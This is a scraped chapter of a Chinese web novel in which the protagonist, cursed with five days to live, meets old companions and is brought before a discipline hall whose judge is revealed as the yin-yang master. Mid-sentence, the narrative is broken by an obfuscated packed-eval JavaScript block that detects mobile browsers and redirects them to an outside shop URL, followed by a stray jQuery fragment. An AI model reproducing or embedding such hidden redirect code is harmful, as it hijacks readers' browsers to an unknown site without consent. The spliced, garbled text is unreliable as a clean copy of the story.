文趣网 > 其他小说 > 卡BUG通关被阴湿信徒缠上了 > 130.阴阳先生
    沈行舟深吸一口气,将方才在黑暗中看到的那只巨大眼球、那种身体被填充的异物感,乃至濒死时的挣扎,全都一五一十地倒了出来。

    唯独割掉了最后那一截,谢灼替他挡灾受难的结局。

    谢灼静坐了片刻,抿了抿下唇:“起先先生挣扎得厉害,我和齐观主都以为窗外有什么东西,只是寻常黑夜,连风都没过檐角。”

    “第二下钟是什么时候敲的?”沈行舟问。

    “与第一下不过一炷香的时间。”谢灼道。

    齐玄晦摇着折扇,歪在床尾,神色里有一半是揣摩,一半是吊儿郎当的狐疑:“这就怪了。咱们三个挤一张床,手腕还拴在一块儿,凭什么那只玩意儿不找我,不找谢灼,偏偏薅着你一个人折腾?是觉得你瞧着斯文好欺负,还是你身上有什么东西特别招它?”

    谢灼闻言,没接话,默不作声地解下自己腰间的锦囊,托在掌心里掂了掂:“先生,咱们把锦囊换一换。”

    沈行舟却缓缓摇了摇头:“怕不是锦囊的事。早在我们进慈悲城之前,我已经不对了。”

    “……什么意思?”

    沈行舟沉默了片刻。

    他意识到,再瞒下去,那些含糊其辞的安慰也都是自欺欺人。五天,他如果只剩五天了,他必须让谢灼知道真相。

    “你还记得临平村那个神童的传说么?”他最终道,“那天沉进湖底,我听见了一个声音。从水里浮上来的东西,直接灌进耳朵里。它说,我还有七日的性命。”

    谢灼眉目僵硬了一瞬,问道:……两日前?”

    沈行舟点点头:“算上今天,已经过去两天了。还剩五日。”

    “我起初只当是水下的幻听,后来也试着归因于多思多虑。可这一路走来,那种幻觉出现的次数越来越多,每一次都比上一次更真。我已经没办法再当它是巧合了。”

    “石刻。”

    谢灼突然开口。

    他从怀里掏出那块从湖底带出来的石眼:“可能是这东西的问题。它一直在我们身上。先生说这座城中也有眼睛。这就像是一个巨大的共鸣阵法。进了城,幻觉便愈加严重。”

    齐玄晦也反应过来,道:“那你赶紧出城吧,离这破石头远点。”

    “不行。”

    出乎意料的,这次拒绝的人是谢灼。

    “万一石刻只是引子,诅咒一旦开始,离开未必能断了根。若是送走了先生,五日后还是……解铃还须系铃人,既然源头在这里,那就在这儿把结解开。”

    他站起身:“那人不是说能沟通天神?那就去问他。他若肯说,什么都好商量。他若不肯,我就拆了他的庙。”

    ——

    “不巧得很。”

    掌柜的拨弄算盘,随口道,“主教大人这两日都不在慈悲城。这是老规矩了,每逢天神游街之后,大人照例要外出祭拜两日,风雨无阻,雷打不动。”

    谢灼语气紧绷:“你可知他去哪了?何时回?”

    “这我们哪里敢问。主教大人的行踪是尊奉天神旨意,每次走的方位都不一样。不过您大可放心,两日后晨钟一响,大人必回。”

    沈行舟按住谢灼的手背,轻轻握了握,转而对掌柜道:“掌柜的,您在这城里住了这些年,有没有听说过一种刻着眼睛的石头?”

    “眼睛石头?”掌柜的停了拨算盘的手,想了想,“从未听过。这东西听着就瘆人,谁没事做那玩意儿。”

    还得等两天。

    “没事。”

    沈行舟把谢灼冰凉的手指拢在自己掌心里,放缓了声音:“不过就两日而已。我们等得起。趁这两天,正好在城里再探探虚实,也算知己知彼。”

    他嘴上说得好听,其实心里也在打鼓。两天,等于他又少了两天的命数。

    但当着谢灼的面,他不想露出半分动摇。

    话音还没落地,酒楼门口“哐当”一声巨响,紧接着就是碗碟碎裂、人群惊叫的嘈杂。掌柜的“哎哟”一声,撂下算盘就往外冲:“谁啊!谁在门口撒野!”

    三人跟出去一看,酒楼门前的石板地上已经围了里外几圈人,正中间,一个扎着粉色双马尾的少女正单膝压在一个男人的胸口上,反手就是一巴掌。那男人被她扇得眼冒金星,嘴里呜呜啊啊地求饶,裤腰都被蹬松了半截。

    “再看一个试试?姑奶奶的裙底也是你能看的?”少女的声音又脆又亮,说完抬手又是一掌,“说话!还敢不敢了?”

    “不敢了不敢了!女侠饶命!”

    而在少女身后,还站着一位身穿襦裙、弱柳扶风的美人。

    她捏着帕子掩住半张脸,黛眉微蹙,模样似乎是被这场面吓着了,可媚眼弯弯的,眼波流转间全是看戏的兴致。

    齐玄晦本来正探头探脑地往外看热闹,这一眼下去,脸色唰地白了。

    “二……二娘?!”他慌不迭地缩到沈行舟背后,只露出半个脑袋。

    沈行舟一愣,下意识也想跑。而那边,柳二娘已经听见了动静,幽幽地转过头来。

    见到白毛脑袋,她眼睛一亮,脸上绽开一个惊喜而妩媚的笑:“哟,这不是观主大人吗。躲在别人后面作甚?奴家又不吃人。”

    沈行舟松了口气:看来这次火力没对准自己。也是,当初二娘揍他,是因为他那会儿被逼变了黄皮子,而二娘讨厌一切带毛的畜生。

    现在可算讨上封,化了形,二娘陈年旧怨自然就又回到了齐玄晦身上。

    那个粉毛少女也认出了他们,一脚把底下那个猪头脸踹开,兴奋地朝这边挥手:“诶?是你们仨!你们怎么也在慈悲城?”

    她跳过来,一把揽住柳二娘的肩膀,大大咧咧道:“来来来,介绍一下,这是我遇到的新队友,葡萄姐!我们一路降妖除魔,刚好来这城里歇歇脚。”

    沈行舟脑子卡了一下:“……谁?葡萄?”

    柳二娘捏着帕子掩嘴一笑,嗔道:“当然是叫我,柳——蒲——桃。这名字多雅致,我中意得很。”

    她嫌弃地撇撇嘴:“整日二娘二娘的,这边一个崔二娘,那边一个文三娘,俗不可耐。还是这新名字有新意,独属于我的,旁人争不去。”

    沈行舟突然想起什么,往柳二娘怀里看了看,空空如也。

    “那个……你之前一直抱着的那个甜瓜呢?”

    花无双不会被扔了吧……

    前几天他给花无双传讯,那头始终没个回音,该不会真进了谁的肚子。

    “你怎么知道我有甜瓜?”不提这茬还好,一提,柳二娘啧了一声,“前几日,那破瓜不知道发什么疯,底下忽然长出两条毛茸茸的腿,冲着我大叫了一声,两条腿抡得飞快,一溜烟就没影了!”

    一个绿油油的甜瓜,长着施瓦辛格的腿,在夕阳下狂奔。

    沈行舟默默吞了口唾沫。

    不过转念一想,花无双既然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824439|206138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    能给自己搞出这种生物进化,说明他的权限应该挺高的,应该不会丢了性命。

    粉毛少女倒是浑然不觉异样,兴致勃勃道:“既然都认识,那可巧了!咱们刚好一同在这城里转转。我看这城和别处不一样,热闹得紧,有点像主城的味儿了。”

    她嫌弃地看了一眼地上的男人:“就是一进来就碰上这种恶心玩意儿,扫兴得很。好在碰见了你们,也算隐藏福利。”

    正说着,远处传来整齐划一的脚步声。

    “肃静——”

    一队巡城守卫从长街那头走来,黑甲红缨,人人手按腰刀。他们所过之处,方才还挤挤挨挨看热闹的人群瞬间如退潮般散开。

    领头的守卫目光如铁,扫了一圈现场:“何人喧哗?所为何事?”

    猥琐男刚想恶人先告状,粉毛少女已经抢先一步,指着那人鼻子道:“报告!这人趁乱看我裙底,还想摸我屁股,被我当场制服了。”

    在场众人叽叽咕咕声音起来:这姑娘说话也太不避讳了。

    守卫一挥手:“心生淫邪,触犯戒律,带走。”

    粉毛少女还没来得及得意,就发现两个兵不知何时已经站到了她身后,一左一右架住了她胳膊。

    “哎?凭什么?”她瞪大了眼睛,“我是正当防卫!我是受害者!凭什么连我也抓?”

    “当街斗殴,扰乱秩序,动手即是戾气。随我们回戒律堂,接受天神的裁决。”

    眼看粉毛要发飙干架,沈行舟上前一步,拦在了守卫面前。

    “且慢。”他从容拱手,看了看粉毛和柳二娘,又侧身朝谢灼和齐玄晦偏了偏头,微笑道,“这位官爷,我们是一起的。朋友落难,我们没有坐视不理的道理。”

    正愁没门路接触教派的核心,这戒律堂,未必不是一把钥匙。

    “既然要去戒律堂受审,请带我们一起走吧。”

    一行人七拐八绕,穿过大半个内城。

    越走,周围的行人越少,喧嚣声一点一点被厚重的高墙吞噬。最终,他们停在了一座黑色岩石砌成的封闭建筑前。

    戒律堂。

    大门在身后轰然关闭,将外界的光线切断。

    堂内烛火黯淡,只有正前方一张高高在上的黑色案台,帷幕半垂,后面隐隐坐着一个人影。四周沿墙站满了执法者,黑压压一片。

    男人被按跪在地上,抖如筛糠。粉毛少女却梗着脖子站着,双手抱胸,一脸不服。

    一名执法者展开卷轴,开始朗读罪状:“罪人张三,心生淫邪,触犯色戒。”

    他顿了顿,目光移到粉毛少女身上:“罪人‘采姑娘的小蘑菇’,当街动武,心生暴怒,触犯嗔戒。”

    “我不服!”粉毛大喊,“是他先伸的手!我这是正当防卫!哪个规矩说不许人还手的?”

    “肃静。”

    执法者根本不理会她的抗辩,念道:“慈悲城内,不分对错,只论心境。起心动念皆是业。既已生乱,便需净化。”

    台上那个一直沉默的身影终于开口了,声音温润平和:“那便判——张三,入洗罪池浸泡一日。其余人等,罚抄《无垢经》百遍,以平戾气。”

    沈行舟愣了一下,觉得这声音耳熟得紧。

    只见黑色的帷幕缓缓拉开。

    端坐在正法椅上的,竟是一位文士。

    身穿青布道袍,面容清癯,眼神清明。

    阴阳先生。